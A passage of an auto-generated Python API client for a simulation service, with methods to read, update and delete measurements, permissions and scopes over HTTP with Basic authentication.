:param int measureid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: PagedMeasuredData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_data_list_with_http_info(simid, measureid, **kwargs) # noqa: E501
def simulation_measurement_data_list_with_http_info(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_data_list # noqa: E501
Get data for a measure # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_data_list_with_http_info(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(PagedMeasuredData, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_data_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_data_list`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_data_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/data/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PagedMeasuredData', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_delete(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_delete # noqa: E501
Delete a measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_delete(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_delete_with_http_info(simid, measureid, **kwargs) # noqa: E501
def simulation_measurement_delete_with_http_info(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_delete # noqa: E501
Delete a measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_delete_with_http_info(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_delete" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_delete`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_delete`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_list(self, simid, **kwargs): # noqa: E501
"""simulation_measurement_list # noqa: E501
Get list of simulations # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_list(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: list[SimMeasurement]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_list_with_http_info(simid, **kwargs) # noqa: E501
def simulation_measurement_list_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_measurement_list # noqa: E501
Get list of simulations # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_list_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(list[SimMeasurement], status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[SimMeasurement]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_read(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_read # noqa: E501
Get measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_read(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimMeasurement
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_read_with_http_info(simid, measureid, **kwargs) # noqa: E501
def simulation_measurement_read_with_http_info(self, simid, measureid, **kwargs): # noqa: E501
"""simulation_measurement_read # noqa: E501
Get measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_read_with_http_info(simid, measureid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimMeasurement, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_read" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_read`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_read`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimMeasurement', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_measurement_update(self, simid, measureid, data, **kwargs): # noqa: E501
"""simulation_measurement_update # noqa: E501
Update a measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_update(simid, measureid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param SimMeasurement data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimMeasurement
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_measurement_update_with_http_info(simid, measureid, data, **kwargs) # noqa: E501
def simulation_measurement_update_with_http_info(self, simid, measureid, data, **kwargs): # noqa: E501
"""simulation_measurement_update # noqa: E501
Update a measurement # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_measurement_update_with_http_info(simid, measureid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int measureid: (required)
:param SimMeasurement data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimMeasurement, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'measureid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_measurement_update" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_measurement_update`") # noqa: E501
# verify the required parameter 'measureid' is set
if self.api_client.client_side_validation and ('measureid' not in local_var_params or # noqa: E501
local_var_params['measureid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `measureid` when calling `simulation_measurement_update`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_measurement_update`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'measureid' in local_var_params:
path_params['measureid'] = local_var_params['measureid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/measurement/{measureid}/', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimMeasurement', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_permissions_list(self, simid, **kwargs): # noqa: E501
"""simulation_permissions_list # noqa: E501
Get list of permissions # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_permissions_list(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_permissions_list_with_http_info(simid, **kwargs) # noqa: E501
def simulation_permissions_list_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_permissions_list # noqa: E501
Get list of permissions # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_permissions_list_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_permissions_list" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_permissions_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/permissions/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_permissions_update(self, simid, **kwargs): # noqa: E501
"""simulation_permissions_update # noqa: E501
Get list of permissions # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_permissions_update(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_permissions_update_with_http_info(simid, **kwargs) # noqa: E501
def simulation_permissions_update_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_permissions_update # noqa: E501
Get list of permissions # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_permissions_update_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_permissions_update" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_permissions_update`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/permissions/', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_read(self, simid, **kwargs): # noqa: E501
"""simulation_read # noqa: E501
Get a simulation # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_read(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Simulation
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_read_with_http_info(simid, **kwargs) # noqa: E501
def simulation_read_with_http_info(self, simid, **kwargs): # noqa: E501
"""simulation_read # noqa: E501
Get a simulation # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_read_with_http_info(simid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(Simulation, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_read" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_read`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Simulation', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_create(self, simid, data, **kwargs): # noqa: E501
"""simulation_scope_create # noqa: E501
Create a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_create(simid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param SimScope data: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimScope
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_create_with_http_info(simid, data, **kwargs) # noqa: E501
def simulation_scope_create_with_http_info(self, simid, data, **kwargs): # noqa: E501
"""simulation_scope_create # noqa: E501
Create a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_create_with_http_info(simid, data, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param SimScope data: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimScope, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_create" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_create`") # noqa: E501
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `simulation_scope_create`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Basic'] # noqa: E501
return self.api_client.call_api(
'/simulation/{simid}/scope/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SimScope', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def simulation_scope_delete(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_delete # noqa: E501
Get a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_delete(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: SimScope
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.simulation_scope_delete_with_http_info(simid, scopeid, **kwargs) # noqa: E501
def simulation_scope_delete_with_http_info(self, simid, scopeid, **kwargs): # noqa: E501
"""simulation_scope_delete # noqa: E501
Get a scope # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.simulation_scope_delete_with_http_info(simid, scopeid, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param int simid: (required)
:param int scopeid: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: tuple(SimScope, status_code(int), headers(HTTPHeaderDict))
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'simid',
'scopeid'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method simulation_scope_delete" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'simid' is set
if self.api_client.client_side_validation and ('simid' not in local_var_params or # noqa: E501
local_var_params['simid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `simid` when calling `simulation_scope_delete`") # noqa: E501
# verify the required parameter 'scopeid' is set
if self.api_client.client_side_validation and ('scopeid' not in local_var_params or # noqa: E501
local_var_params['scopeid'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `scopeid` when calling `simulation_scope_delete`") # noqa: E501
collection_formats = {}
path_params = {}
if 'simid' in local_var_params:
path_params['simid'] = local_var_params['simid'] # noqa: E501
if 'scopeid' in local_var_params:
path_params['scopeid'] = local_var_params['scopeid'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
